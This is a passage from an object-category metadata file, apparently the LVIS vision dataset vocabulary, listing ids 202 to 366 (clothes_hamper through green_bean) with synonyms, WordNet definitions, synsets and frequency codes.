'clothes_hamper.n.01', 'name': 'clothes_hamper', 'frequency': 'c'}, {'synonyms': ['clothespin', 'clothes_peg'], 'def': 'wood or plastic fastener; for holding clothes on a clothesline', 'id': 202, 'synset': 'clothespin.n.01', 'name': 'clothespin', 'frequency': 'c'}, {'synonyms': ['coaster'], 'def': 'a covering (plate or mat) that protects the surface of a table', 'id': 203, 'synset': 'coaster.n.03', 'name': 'coaster', 'frequency': 'f'}, {'synonyms': ['coat'], 'def': 'an outer garment that has sleeves and covers the body from shoulder down', 'id': 204, 'synset': 'coat.n.01', 'name': 'coat', 'frequency': 'f'}, {'synonyms': ['coat_hanger', 'clothes_hanger', 'dress_hanger'], 'def': "a hanger that is shaped like a person's shoulders", 'id': 205, 'synset': 'coat_hanger.n.01', 'name': 'coat_hanger', 'frequency': 'c'}, {'synonyms': ['coatrack', 'hatrack'], 'def': 'a rack with hooks for temporarily holding coats and hats', 'id': 206, 'synset': 'coatrack.n.01', 'name': 'coatrack', 'frequency': 'c'}, {'synonyms': ['cock', 'rooster'], 'def': 'adult male chicken', 'id': 207, 'synset': 'cock.n.04', 'name': 'cock', 'frequency': 'c'}, {'synonyms': ['coconut', 'cocoanut'], 'def': 'large hard-shelled brown oval nut with a fibrous husk', 'id': 208, 'synset': 'coconut.n.02', 'name': 'coconut', 'frequency': 'c'}, {'synonyms': ['coffee_maker', 'coffee_machine'], 'def': 'a kitchen appliance for brewing coffee automatically', 'id': 209, 'synset': 'coffee_maker.n.01', 'name': 'coffee_maker', 'frequency': 'f'}, {'synonyms': ['coffee_table', 'cocktail_table'], 'def': 'low table where magazines can be placed and coffee or cocktails are served', 'id': 210, 'synset': 'coffee_table.n.01', 'name': 'coffee_table', 'frequency': 'f'}, {'synonyms': ['coffeepot'], 'def': 'tall pot in which coffee is brewed', 'id': 211, 'synset': 'coffeepot.n.01', 'name': 'coffeepot', 'frequency': 'c'}, {'synonyms': ['coin'], 'def': 'a flat metal piece (usually a disc) used as money', 'id': 212, 'synset': 'coin.n.01', 'name': 'coin', 'frequency': 'c'}, {'synonyms': ['colander', 'cullender'], 'def': 'bowl-shaped strainer; used to wash or drain foods', 'id': 213, 'synset': 'colander.n.01', 'name': 'colander', 'frequency': 'c'}, {'synonyms': ['coleslaw', 'slaw'], 'def': 'basically shredded cabbage', 'id': 214, 'synset': 'coleslaw.n.01', 'name': 'coleslaw', 'frequency': 'c'}, {'synonyms': ['pacifier', 'teething_ring'], 'def': 'device used for an infant to suck or bite on', 'id': 215, 'synset': 'comforter.n.04', 'name': 'pacifier', 'frequency': 'c'}, {'synonyms': ['computer_keyboard', 'keyboard_(computer)'], 'def': 'a keyboard that is a data input device for computers', 'id': 216, 'synset': 'computer_keyboard.n.01', 'name': 'computer_keyboard', 'frequency': 'f'}, {'synonyms': ['condiment'], 'def': 'a preparation (a sauce or relish or spice) to enhance flavor or enjoyment', 'id': 217, 'synset': 'condiment.n.01', 'name': 'condiment', 'frequency': 'f'}, {'synonyms': ['cone', 'traffic_cone'], 'def': 'a cone-shaped object used to direct traffic', 'id': 218, 'synset': 'cone.n.01', 'name': 'cone', 'frequency': 'f'}, {'synonyms': ['control', 'controller'], 'def': 'a mechanism that controls the operation of a machine', 'id': 219, 'synset': 'control.n.09', 'name': 'control', 'frequency': 'f'}, {'synonyms': ['cookie', 'cooky', 'biscuit_(cookie)'], 'def': "any of various small flat sweet cakes (`biscuit' is the British term)", 'id': 220, 'synset': 'cookie.n.01', 'name': 'cookie', 'frequency': 'f'}, {'synonyms': ['cooler_(for_food)', 'ice_chest'], 'def': 'an insulated box for storing food often with ice', 'id': 221, 'synset': 'cooler.n.01', 'name': 'cooler_(for_food)', 'frequency': 'f'}, {'synonyms': ['cork_(bottle_plug)', 'bottle_cork'], 'def': 'the plug in the mouth of a bottle (especially a wine bottle)', 'id': 222, 'synset': 'cork.n.04', 'name': 'cork_(bottle_plug)', 'frequency': 'f'}, {'synonyms': ['corkscrew', 'bottle_screw'], 'def': 'a bottle opener that pulls corks', 'id': 223, 'synset': 'corkscrew.n.01', 'name': 'corkscrew', 'frequency': 'c'}, {'synonyms': ['edible_corn', 'corn', 'maize'], 'def': 'ears or kernels of corn that can be prepared and served for human food (only mark individual ears or kernels)', 'id': 224, 'synset': 'corn.n.03', 'name': 'edible_corn', 'frequency': 'f'}, {'synonyms': ['cornet', 'horn', 'trumpet'], 'def': 'a brass musical instrument with a narrow tube and a flared bell and many valves', 'id': 225, 'synset': 'cornet.n.01', 'name': 'cornet', 'frequency': 'c'}, {'synonyms': ['cornice', 'valance', 'valance_board', 'pelmet'], 'def': 'a decorative framework to conceal curtain fixtures at the top of a window casing', 'id': 226, 'synset': 'cornice.n.01', 'name': 'cornice', 'frequency': 'c'}, {'synonyms': ['corset', 'girdle'], 'def': "a woman's close-fitting foundation garment", 'id': 227, 'synset': 'corset.n.01', 'name': 'corset', 'frequency': 'c'}, {'synonyms': ['costume'], 'def': 'the attire characteristic of a country or a time or a social class', 'id': 228, 'synset': 'costume.n.04', 'name': 'costume', 'frequency': 'c'}, {'synonyms': ['cowbell'], 'def': 'a bell hung around the neck of cow so that the cow can be easily located', 'id': 229, 'synset': 'cowbell.n.01', 'name': 'cowbell', 'frequency': 'c'}, {'synonyms': ['cowboy_hat', 'ten-gallon_hat'], 'def': 'a hat with a wide brim and a soft crown; worn by American ranch hands', 'id': 230, 'synset': 'cowboy_hat.n.01', 'name': 'cowboy_hat', 'frequency': 'f'}, {'synonyms': ['crab_(animal)'], 'def': 'decapod having eyes on short stalks and a broad flattened shell and pincers', 'id': 231, 'synset': 'crab.n.01', 'name': 'crab_(animal)', 'frequency': 'c'}, {'synonyms': ['cracker'], 'def': 'a thin crisp wafer', 'id': 232, 'synset': 'cracker.n.01', 'name': 'cracker', 'frequency': 'c'}, {'synonyms': ['crate'], 'def': 'a rugged box (usually made of wood); used for shipping', 'id': 233, 'synset': 'crate.n.01', 'name': 'crate', 'frequency': 'f'}, {'synonyms': ['crayon', 'wax_crayon'], 'def': 'writing or drawing implement made of a colored stick of composition wax', 'id': 234, 'synset': 'crayon.n.01', 'name': 'crayon', 'frequency': 'c'}, {'synonyms': ['crescent_roll', 'croissant'], 'def': 'very rich flaky crescent-shaped roll', 'id': 235, 'synset': 'crescent_roll.n.01', 'name': 'crescent_roll', 'frequency': 'c'}, {'synonyms': ['crib', 'cot'], 'def': 'baby bed with high sides made of slats', 'id': 236, 'synset': 'crib.n.01', 'name': 'crib', 'frequency': 'c'}, {'synonyms': ['crock_pot', 'earthenware_jar'], 'def': 'an earthen jar (made of baked clay) or a modern electric crockpot', 'id': 237, 'synset': 'crock.n.03', 'name': 'crock_pot', 'frequency': 'c'}, {'synonyms': ['crossbar'], 'def': 'a horizontal bar that goes across something', 'id': 238, 'synset': 'crossbar.n.01', 'name': 'crossbar', 'frequency': 'f'}, {'synonyms': ['crow'], 'def': 'black birds having a raucous call', 'id': 239, 'synset': 'crow.n.01', 'name': 'crow', 'frequency': 'c'}, {'synonyms': ['crown'], 'def': 'an ornamental jeweled headdress signifying sovereignty', 'id': 240, 'synset': 'crown.n.04', 'name': 'crown', 'frequency': 'c'}, {'synonyms': ['crucifix'], 'def': 'representation of the cross on which Jesus died', 'id': 241, 'synset': 'crucifix.n.01', 'name': 'crucifix', 'frequency': 'c'}, {'synonyms': ['cruise_ship', 'cruise_liner'], 'def': 'a passenger ship used commercially for pleasure cruises', 'id': 242, 'synset': 'cruise_ship.n.01', 'name': 'cruise_ship', 'frequency': 'c'}, {'synonyms': ['police_cruiser', 'patrol_car', 'police_car', 'squad_car'], 'def': 'a car in which policemen cruise the streets', 'id': 243, 'synset': 'cruiser.n.01', 'name': 'police_cruiser', 'frequency': 'c'}, {'synonyms': ['crumb'], 'def': 'small piece of e.g. bread or cake', 'id': 244, 'synset': 'crumb.n.03', 'name': 'crumb', 'frequency': 'f'}, {'synonyms': ['crutch'], 'def': 'a wooden or metal staff that fits under the armpit and reaches to the ground', 'id': 245, 'synset': 'crutch.n.01', 'name': 'crutch', 'frequency': 'c'}, {'synonyms': ['cub_(animal)'], 'def': 'the young of certain carnivorous mammals such as the bear or wolf or lion', 'id': 246, 'synset': 'cub.n.03', 'name': 'cub_(animal)', 'frequency': 'c'}, {'synonyms': ['cube', 'square_block'], 'def': 'a block in the (approximate) shape of a cube', 'id': 247, 'synset': 'cube.n.05', 'name': 'cube', 'frequency': 'c'}, {'synonyms': ['cucumber', 'cuke'], 'def': 'cylindrical green fruit with thin green rind and white flesh eaten as a vegetable', 'id': 248, 'synset': 'cucumber.n.02', 'name': 'cucumber', 'frequency': 'f'}, {'synonyms': ['cufflink'], 'def': 'jewelry consisting of linked buttons used to fasten the cuffs of a shirt', 'id': 249, 'synset': 'cufflink.n.01', 'name': 'cufflink', 'frequency': 'c'}, {'synonyms': ['cup'], 'def': 'a small open container usually used for drinking; usually has a handle', 'id': 250, 'synset': 'cup.n.01', 'name': 'cup', 'frequency': 'f'}, {'synonyms': ['trophy_cup'], 'def': 'a metal award or cup-shaped vessel with handles that is awarded as a trophy to a competition winner', 'id': 251, 'synset': 'cup.n.08', 'name': 'trophy_cup', 'frequency': 'c'}, {'synonyms': ['cupboard', 'closet'], 'def': 'a small room (or recess) or cabinet used for storage space', 'id': 252, 'synset': 'cupboard.n.01', 'name': 'cupboard', 'frequency': 'f'}, {'synonyms': ['cupcake'], 'def': 'small cake baked in a muffin tin', 'id': 253, 'synset': 'cupcake.n.01', 'name': 'cupcake', 'frequency': 'f'}, {'synonyms': ['curtain', 'drapery'], 'def': 'hanging cloth used as a blind (especially for a window)', 'id': 254, 'synset': 'curtain.n.01', 'name': 'curtain', 'frequency': 'f'}, {'synonyms': ['cushion'], 'def': 'a soft bag filled with air or padding such as feathers or foam rubber', 'id': 255, 'synset': 'cushion.n.03', 'name': 'cushion', 'frequency': 'f'}, {'synonyms': ['dartboard'], 'def': 'a circular board of wood or cork used as the target in the game of darts', 'id': 256, 'synset': 'dartboard.n.01', 'name': 'dartboard', 'frequency': 'c'}, {'synonyms': ['deck_chair', 'beach_chair'], 'def': 'a folding chair for use outdoors; a wooden frame supports a length of canvas', 'id': 257, 'synset': 'deck_chair.n.01', 'name': 'deck_chair', 'frequency': 'f'}, {'synonyms': ['deer', 'cervid'], 'def': "distinguished from Bovidae by the male's having solid deciduous antlers", 'id': 258, 'synset': 'deer.n.01', 'name': 'deer', 'frequency': 'c'}, {'synonyms': ['dental_floss', 'floss'], 'def': 'a soft thread for cleaning the spaces between the teeth', 'id': 259, 'synset': 'dental_floss.n.01', 'name': 'dental_floss', 'frequency': 'c'}, {'synonyms': ['desk'], 'def': 'a piece of furniture with a writing surface and usually drawers or other compartments', 'id': 260, 'synset': 'desk.n.01', 'name': 'desk', 'frequency': 'f'}, {'synonyms': ['diaper'], 'def': 'garment consisting of a folded cloth drawn up between the legs and fastened at the waist', 'id': 261, 'synset': 'diaper.n.01', 'name': 'diaper', 'frequency': 'c'}, {'synonyms': ['dining_table'], 'def': 'a table at which meals are served', 'id': 262, 'synset': 'dining_table.n.01', 'name': 'dining_table', 'frequency': 'f'}, {'synonyms': ['dish'], 'def': 'a piece of dishware normally used as a container for holding or serving food', 'id': 263, 'synset': 'dish.n.01', 'name': 'dish', 'frequency': 'f'}, {'synonyms': ['dish_antenna'], 'def': 'directional antenna consisting of a parabolic reflector', 'id': 264, 'synset': 'dish.n.05', 'name': 'dish_antenna', 'frequency': 'c'}, {'synonyms': ['dishrag', 'dishcloth'], 'def': 'a cloth for washing dishes or cleaning in general', 'id': 265, 'synset': 'dishrag.n.01', 'name': 'dishrag', 'frequency': 'c'}, {'synonyms': ['dishtowel', 'tea_towel'], 'def': 'a towel for drying dishes', 'id': 266, 'synset': 'dishtowel.n.01', 'name': 'dishtowel', 'frequency': 'f'}, {'synonyms': ['dishwasher', 'dishwashing_machine'], 'def': 'a machine for washing dishes', 'id': 267, 'synset': 'dishwasher.n.01', 'name': 'dishwasher', 'frequency': 'f'}, {'synonyms': ['dispenser'], 'def': 'a container so designed that the contents can be used in prescribed amounts', 'id': 268, 'synset': 'dispenser.n.01', 'name': 'dispenser', 'frequency': 'f'}, {'synonyms': ['Dixie_cup', 'paper_cup'], 'def': 'a disposable cup made of paper; for holding drinks', 'id': 269, 'synset': 'dixie_cup.n.01', 'name': 'Dixie_cup', 'frequency': 'f'}, {'synonyms': ['dog'], 'def': 'a common domesticated dog', 'id': 270, 'synset': 'dog.n.01', 'name': 'dog', 'frequency': 'f'}, {'synonyms': ['dog_collar'], 'def': 'a collar for a dog', 'id': 271, 'synset': 'dog_collar.n.01', 'name': 'dog_collar', 'frequency': 'f'}, {'synonyms': ['doll'], 'def': 'a toy replica of a HUMAN (NOT AN ANIMAL)', 'id': 272, 'synset': 'doll.n.01', 'name': 'doll', 'frequency': 'f'}, {'synonyms': ['dolphin'], 'def': 'any of various small toothed whales with a beaklike snout; larger than porpoises', 'id': 273, 'synset': 'dolphin.n.02', 'name': 'dolphin', 'frequency': 'c'}, {'synonyms': ['domestic_ass', 'donkey'], 'def': 'domestic beast of burden descended from the African wild ass; patient but stubborn', 'id': 274, 'synset': 'domestic_ass.n.01', 'name': 'domestic_ass', 'frequency': 'c'}, {'synonyms': ['doorknob', 'doorhandle'], 'def': "a knob used to open a door (often called `doorhandle' in Great Britain)", 'id': 275, 'synset': 'doorknob.n.01', 'name': 'doorknob', 'frequency': 'f'}, {'synonyms': ['doormat', 'welcome_mat'], 'def': 'a mat placed outside an exterior door for wiping the shoes before entering', 'id': 276, 'synset': 'doormat.n.02', 'name': 'doormat', 'frequency': 'c'}, {'synonyms': ['doughnut', 'donut'], 'def': 'a small ring-shaped friedcake', 'id': 277, 'synset': 'doughnut.n.02', 'name': 'doughnut', 'frequency': 'f'}, {'synonyms': ['drawer'], 'def': 'a boxlike container in a piece of furniture; made so as to slide in and out', 'id': 278, 'synset': 'drawer.n.01', 'name': 'drawer', 'frequency': 'f'}, {'synonyms': ['underdrawers', 'boxers', 'boxershorts'], 'def': 'underpants worn by men', 'id': 279, 'synset': 'drawers.n.01', 'name': 'underdrawers', 'frequency': 'c'}, {'synonyms': ['dress', 'frock'], 'def': 'a one-piece garment for a woman; has skirt and bodice', 'id': 280, 'synset': 'dress.n.01', 'name': 'dress', 'frequency': 'f'}, {'synonyms': ['dress_hat', 'high_hat', 'opera_hat', 'silk_hat', 'top_hat'], 'def': "a man's hat with a tall crown; usually covered with silk or with beaver fur", 'id': 281, 'synset': 'dress_hat.n.01', 'name': 'dress_hat', 'frequency': 'c'}, {'synonyms': ['dress_suit'], 'def': 'formalwear consisting of full evening dress for men', 'id': 282, 'synset': 'dress_suit.n.01', 'name': 'dress_suit', 'frequency': 'f'}, {'synonyms': ['dresser'], 'def': 'a cabinet with shelves', 'id': 283, 'synset': 'dresser.n.05', 'name': 'dresser', 'frequency': 'f'}, {'synonyms': ['drill'], 'def': 'a tool with a sharp rotating point for making holes in hard materials', 'id': 284, 'synset': 'drill.n.01', 'name': 'drill', 'frequency': 'c'}, {'synonyms': ['drum_(musical_instrument)'], 'def': 'a musical percussion instrument; usually consists of a hollow cylinder with a membrane stretched across each end', 'id': 285, 'synset': 'drum.n.01', 'name': 'drum_(musical_instrument)', 'frequency': 'c'}, {'synonyms': ['duck'], 'def': 'small web-footed broad-billed swimming bird', 'id': 286, 'synset': 'duck.n.01', 'name': 'duck', 'frequency': 'f'}, {'synonyms': ['duckling'], 'def': 'young duck', 'id': 287, 'synset': 'duckling.n.02', 'name': 'duckling', 'frequency': 'c'}, {'synonyms': ['duct_tape'], 'def': 'a wide silvery adhesive tape', 'id': 288, 'synset': 'duct_tape.n.01', 'name': 'duct_tape', 'frequency': 'c'}, {'synonyms': ['duffel_bag', 'duffle_bag', 'duffel', 'duffle'], 'def': 'a large cylindrical bag of heavy cloth (does not include suitcases)', 'id': 289, 'synset': 'duffel_bag.n.01', 'name': 'duffel_bag', 'frequency': 'f'}, {'synonyms': ['dumpster'], 'def': 'a container designed to receive and transport and dump waste', 'id': 290, 'synset': 'dumpster.n.01', 'name': 'dumpster', 'frequency': 'c'}, {'synonyms': ['eagle'], 'def': 'large birds of prey noted for their broad wings and strong soaring flight', 'id': 291, 'synset': 'eagle.n.01', 'name': 'eagle', 'frequency': 'c'}, {'synonyms': ['earphone', 'earpiece', 'headphone'], 'def': 'device for listening to audio that is held over or inserted into the ear', 'id': 292, 'synset': 'earphone.n.01', 'name': 'earphone', 'frequency': 'f'}, {'synonyms': ['earring'], 'def': 'jewelry to ornament the ear', 'id': 293, 'synset': 'earring.n.01', 'name': 'earring', 'frequency': 'f'}, {'synonyms': ['easel'], 'def': "an upright tripod for displaying something (usually an artist's canvas)", 'id': 294, 'synset': 'easel.n.01', 'name': 'easel', 'frequency': 'c'}, {'synonyms': ['egg', 'eggs'], 'def': 'oval reproductive body of a fowl (especially a hen) used as food', 'id': 295, 'synset': 'egg.n.02', 'name': 'egg', 'frequency': 'f'}, {'synonyms': ['egg_yolk', 'yolk_(egg)'], 'def': 'the yellow spherical part of an egg', 'id': 296, 'synset': 'egg_yolk.n.01', 'name': 'egg_yolk', 'frequency': 'c'}, {'synonyms': ['eggbeater', 'eggwhisk'], 'def': 'a mixer for beating eggs or whipping cream', 'id': 297, 'synset': 'eggbeater.n.02', 'name': 'eggbeater', 'frequency': 'c'}, {'synonyms': ['eggplant', 'aubergine'], 'def': 'egg-shaped vegetable having a shiny skin typically dark purple', 'id': 298, 'synset': 'eggplant.n.01', 'name': 'eggplant', 'frequency': 'c'}, {'synonyms': ['refrigerator'], 'def': 'a refrigerator in which the coolant is pumped around by an electric motor', 'id': 299, 'synset': 'electric_refrigerator.n.01', 'name': 'refrigerator', 'frequency': 'f'}, {'synonyms': ['elephant'], 'def': 'a common elephant', 'id': 300, 'synset': 'elephant.n.01', 'name': 'elephant', 'frequency': 'f'}, {'synonyms': ['elk', 'moose'], 'def': 'large northern deer with enormous flattened antlers in the male', 'id': 301, 'synset': 'elk.n.01', 'name': 'elk', 'frequency': 'c'}, {'synonyms': ['envelope'], 'def': 'a flat (usually rectangular) container for a letter, thin package, etc.', 'id': 302, 'synset': 'envelope.n.01', 'name': 'envelope', 'frequency': 'c'}, {'synonyms': ['eraser'], 'def': 'an implement used to erase something', 'id': 303, 'synset': 'eraser.n.01', 'name': 'eraser', 'frequency': 'c'}, {'synonyms': ['fan'], 'def': 'a device for creating a current of air by movement of a surface or surfaces', 'id': 304, 'synset': 'fan.n.01', 'name': 'fan', 'frequency': 'f'}, {'synonyms': ['faucet', 'spigot', 'tap'], 'def': 'a regulator for controlling the flow of a liquid from a reservoir', 'id': 305, 'synset': 'faucet.n.01', 'name': 'faucet', 'frequency': 'f'}, {'synonyms': ['Ferris_wheel'], 'def': 'a large wheel with suspended seats that remain upright as the wheel rotates', 'id': 306, 'synset': 'ferris_wheel.n.01', 'name': 'Ferris_wheel', 'frequency': 'c'}, {'synonyms': ['ferry', 'ferryboat'], 'def': 'a boat that transports people or vehicles across a body of water and operates on a regular schedule', 'id': 307, 'synset': 'ferry.n.01', 'name': 'ferry', 'frequency': 'c'}, {'synonyms': ['fighter_jet', 'fighter_aircraft', 'attack_aircraft'], 'def': 'a high-speed military or naval airplane designed to destroy enemy targets', 'id': 308, 'synset': 'fighter.n.02', 'name': 'fighter_jet', 'frequency': 'c'}, {'synonyms': ['figurine'], 'def': 'a small carved or molded figure', 'id': 309, 'synset': 'figurine.n.01', 'name': 'figurine', 'frequency': 'f'}, {'synonyms': ['file_cabinet', 'filing_cabinet'], 'def': 'office furniture consisting of a container for keeping papers in order', 'id': 310, 'synset': 'file.n.03', 'name': 'file_cabinet', 'frequency': 'c'}, {'synonyms': ['fire_alarm', 'smoke_alarm'], 'def': 'an alarm that is tripped off by fire or smoke', 'id': 311, 'synset': 'fire_alarm.n.02', 'name': 'fire_alarm', 'frequency': 'f'}, {'synonyms': ['fire_engine', 'fire_truck'], 'def': 'large trucks that carry firefighters and equipment to the site of a fire', 'id': 312, 'synset': 'fire_engine.n.01', 'name': 'fire_engine', 'frequency': 'f'}, {'synonyms': ['fire_extinguisher', 'extinguisher'], 'def': 'a manually operated device for extinguishing small fires', 'id': 313, 'synset': 'fire_extinguisher.n.01', 'name': 'fire_extinguisher', 'frequency': 'f'}, {'synonyms': ['fire_hose'], 'def': 'a large hose that carries water from a fire hydrant to the site of the fire', 'id': 314, 'synset': 'fire_hose.n.01', 'name': 'fire_hose', 'frequency': 'c'}, {'synonyms': ['fireplace'], 'def': 'an open recess in a wall at the base of a chimney where a fire can be built', 'id': 315, 'synset': 'fireplace.n.01', 'name': 'fireplace', 'frequency': 'f'}, {'synonyms': ['fireplug', 'fire_hydrant', 'hydrant'], 'def': 'an upright hydrant for drawing water to use in fighting a fire', 'id': 316, 'synset': 'fireplug.n.01', 'name': 'fireplug', 'frequency': 'f'}, {'synonyms': ['fish'], 'def': 'any of various mostly cold-blooded aquatic vertebrates usually having scales and breathing through gills', 'id': 317, 'synset': 'fish.n.01', 'name': 'fish', 'frequency': 'f'}, {'synonyms': ['fish_(food)'], 'def': 'the flesh of fish used as food', 'id': 318, 'synset': 'fish.n.02', 'name': 'fish_(food)', 'frequency': 'c'}, {'synonyms': ['fishing_rod', 'fishing_pole'], 'def': 'a rod that is used in fishing to extend the fishing line', 'id': 319, 'synset': 'fishing_rod.n.01', 'name': 'fishing_rod', 'frequency': 'c'}, {'synonyms': ['flag'], 'def': 'emblem usually consisting of a rectangular piece of cloth of distinctive design (do not include pole)', 'id': 320, 'synset': 'flag.n.01', 'name': 'flag', 'frequency': 'f'}, {'synonyms': ['flagpole', 'flagstaff'], 'def': 'a tall staff or pole on which a flag is raised', 'id': 321, 'synset': 'flagpole.n.02', 'name': 'flagpole', 'frequency': 'f'}, {'synonyms': ['flamingo'], 'def': 'large pink web-footed bird with down-bent bill', 'id': 322, 'synset': 'flamingo.n.01', 'name': 'flamingo', 'frequency': 'c'}, {'synonyms': ['flannel'], 'def': 'a soft light woolen fabric; used for clothing', 'id': 323, 'synset': 'flannel.n.01', 'name': 'flannel', 'frequency': 'c'}, {'synonyms': ['flap'], 'def': 'any broad thin covering attached at one edge, such as a mud flap next to a wheel or a flap on an airplane wing', 'id': 324, 'synset': 'flap.n.01', 'name': 'flap', 'frequency': 'c'}, {'synonyms': ['flashlight', 'torch'], 'def': 'a small portable battery-powered electric lamp', 'id': 325, 'synset': 'flashlight.n.01', 'name': 'flashlight', 'frequency': 'c'}, {'synonyms': ['flip-flop_(sandal)'], 'def': 'a backless sandal held to the foot by a thong between two toes', 'id': 326, 'synset': 'flip-flop.n.02', 'name': 'flip-flop_(sandal)', 'frequency': 'f'}, {'synonyms': ['flipper_(footwear)', 'fin_(footwear)'], 'def': 'a shoe to aid a person in swimming', 'id': 327, 'synset': 'flipper.n.01', 'name': 'flipper_(footwear)', 'frequency': 'c'}, {'synonyms': ['flower_arrangement', 'floral_arrangement'], 'def': 'a decorative arrangement of flowers', 'id': 328, 'synset': 'flower_arrangement.n.01', 'name': 'flower_arrangement', 'frequency': 'f'}, {'synonyms': ['flute_glass', 'champagne_flute'], 'def': 'a tall narrow wineglass', 'id': 329, 'synset': 'flute.n.02', 'name': 'flute_glass', 'frequency': 'c'}, {'synonyms': ['foal'], 'def': 'a young horse', 'id': 330, 'synset': 'foal.n.01', 'name': 'foal', 'frequency': 'c'}, {'synonyms': ['folding_chair'], 'def': 'a chair that can be folded flat for storage', 'id': 331, 'synset': 'folding_chair.n.01', 'name': 'folding_chair', 'frequency': 'c'}, {'synonyms': ['food_processor'], 'def': 'a kitchen appliance for shredding, blending, chopping, or slicing food', 'id': 332, 'synset': 'food_processor.n.01', 'name': 'food_processor', 'frequency': 'c'}, {'synonyms': ['football_(American)'], 'def': 'the inflated oblong ball used in playing American football', 'id': 333, 'synset': 'football.n.02', 'name': 'football_(American)', 'frequency': 'c'}, {'synonyms': ['footstool', 'footrest'], 'def': 'a low seat or a stool to rest the feet of a seated person', 'id': 334, 'synset': 'footstool.n.01', 'name': 'footstool', 'frequency': 'c'}, {'synonyms': ['fork'], 'def': 'cutlery used for serving and eating food', 'id': 335, 'synset': 'fork.n.01', 'name': 'fork', 'frequency': 'f'}, {'synonyms': ['forklift'], 'def': 'an industrial vehicle with a power operated fork in front that can be inserted under loads to lift and move them', 'id': 336, 'synset': 'forklift.n.01', 'name': 'forklift', 'frequency': 'c'}, {'synonyms': ['freight_car'], 'def': 'a railway car that carries freight', 'id': 337, 'synset': 'freight_car.n.01', 'name': 'freight_car', 'frequency': 'c'}, {'synonyms': ['French_toast'], 'def': 'bread slice dipped in egg and milk and fried', 'id': 338, 'synset': 'french_toast.n.01', 'name': 'French_toast', 'frequency': 'c'}, {'synonyms': ['freshener', 'air_freshener'], 'def': 'anything that freshens air by removing or covering odor', 'id': 339, 'synset': 'freshener.n.01', 'name': 'freshener', 'frequency': 'c'}, {'synonyms': ['frisbee'], 'def': 'a light, plastic disk propelled with a flip of the wrist for recreation or competition', 'id': 340, 'synset': 'frisbee.n.01', 'name': 'frisbee', 'frequency': 'f'}, {'synonyms': ['frog', 'toad', 'toad_frog'], 'def': 'a tailless stout-bodied amphibians with long hind limbs for leaping', 'id': 341, 'synset': 'frog.n.01', 'name': 'frog', 'frequency': 'c'}, {'synonyms': ['fruit_juice'], 'def': 'drink produced by squeezing or crushing fruit', 'id': 342, 'synset': 'fruit_juice.n.01', 'name': 'fruit_juice', 'frequency': 'c'}, {'synonyms': ['frying_pan', 'frypan', 'skillet'], 'def': 'a pan used for frying foods', 'id': 343, 'synset': 'frying_pan.n.01', 'name': 'frying_pan', 'frequency': 'f'}, {'synonyms': ['garbage_truck'], 'def': 'a truck for collecting domestic refuse', 'id': 344, 'synset': 'garbage_truck.n.01', 'name': 'garbage_truck', 'frequency': 'c'}, {'synonyms': ['garden_hose'], 'def': 'a hose used for watering a lawn or garden', 'id': 345, 'synset': 'garden_hose.n.01', 'name': 'garden_hose', 'frequency': 'c'}, {'synonyms': ['gargle', 'mouthwash'], 'def': 'a medicated solution used for gargling and rinsing the mouth', 'id': 346, 'synset': 'gargle.n.01', 'name': 'gargle', 'frequency': 'c'}, {'synonyms': ['garlic', 'ail'], 'def': 'aromatic bulb used as seasoning', 'id': 347, 'synset': 'garlic.n.02', 'name': 'garlic', 'frequency': 'c'}, {'synonyms': ['gazelle'], 'def': 'small swift graceful antelope of Africa and Asia having lustrous eyes', 'id': 348, 'synset': 'gazelle.n.01', 'name': 'gazelle', 'frequency': 'c'}, {'synonyms': ['gelatin', 'jelly'], 'def': 'an edible jelly made with gelatin and used as a dessert or salad base or a coating for foods', 'id': 349, 'synset': 'gelatin.n.02', 'name': 'gelatin', 'frequency': 'c'}, {'synonyms': ['giant_panda', 'panda', 'panda_bear'], 'def': 'large black-and-white herbivorous mammal of bamboo forests of China and Tibet', 'id': 350, 'synset': 'giant_panda.n.01', 'name': 'giant_panda', 'frequency': 'c'}, {'synonyms': ['gift_wrap'], 'def': 'attractive wrapping paper suitable for wrapping gifts', 'id': 351, 'synset': 'gift_wrap.n.01', 'name': 'gift_wrap', 'frequency': 'c'}, {'synonyms': ['ginger', 'gingerroot'], 'def': 'the root of the common ginger plant; used fresh as a seasoning', 'id': 352, 'synset': 'ginger.n.03', 'name': 'ginger', 'frequency': 'c'}, {'synonyms': ['giraffe'], 'def': 'tall animal having a spotted coat and small horns and very long neck and legs', 'id': 353, 'synset': 'giraffe.n.01', 'name': 'giraffe', 'frequency': 'f'}, {'synonyms': ['cincture', 'sash', 'waistband', 'waistcloth'], 'def': 'a band of material around the waist that strengthens a skirt or trousers', 'id': 354, 'synset': 'girdle.n.02', 'name': 'cincture', 'frequency': 'c'}, {'synonyms': ['glass_(drink_container)', 'drinking_glass'], 'def': 'a container for holding liquids while drinking', 'id': 355, 'synset': 'glass.n.02', 'name': 'glass_(drink_container)', 'frequency': 'f'}, {'synonyms': ['globe'], 'def': 'a sphere on which a map (especially of the earth) is represented', 'id': 356, 'synset': 'globe.n.03', 'name': 'globe', 'frequency': 'c'}, {'synonyms': ['glove'], 'def': 'handwear covering the hand', 'id': 357, 'synset': 'glove.n.02', 'name': 'glove', 'frequency': 'f'}, {'synonyms': ['goat'], 'def': 'a common goat', 'id': 358, 'synset': 'goat.n.01', 'name': 'goat', 'frequency': 'c'}, {'synonyms': ['goggles'], 'def': 'tight-fitting spectacles worn to protect the eyes', 'id': 359, 'synset': 'goggles.n.01', 'name': 'goggles', 'frequency': 'f'}, {'synonyms': ['golf_club', 'golf-club'], 'def': 'golf equipment used by a golfer to hit a golf ball', 'id': 360, 'synset': 'golf_club.n.02', 'name': 'golf_club', 'frequency': 'c'}, {'synonyms': ['golfcart'], 'def': 'a small motor vehicle in which golfers can ride between shots', 'id': 361, 'synset': 'golfcart.n.01', 'name': 'golfcart', 'frequency': 'c'}, {'synonyms': ['goose'], 'def': 'loud, web-footed long-necked aquatic birds usually larger than ducks', 'id': 362, 'synset': 'goose.n.01', 'name': 'goose', 'frequency': 'c'}, {'synonyms': ['grape'], 'def': 'any of various juicy fruit with green or purple skins; grow in clusters', 'id': 363, 'synset': 'grape.n.01', 'name': 'grape', 'frequency': 'f'}, {'synonyms': ['grater'], 'def': 'utensil with sharp perforations for shredding foods (as vegetables or cheese)', 'id': 364, 'synset': 'grater.n.01', 'name': 'grater', 'frequency': 'c'}, {'synonyms': ['gravestone', 'headstone', 'tombstone'], 'def': 'a stone that is used to mark a grave', 'id': 365, 'synset': 'gravestone.n.01', 'name': 'gravestone', 'frequency': 'c'}, {'synonyms': ['green_bean'], 'def': 'a common bean plant cultivated for its slender green edible pods', 'id': 366, 'synset': 'green_bean.n.02', 'name': 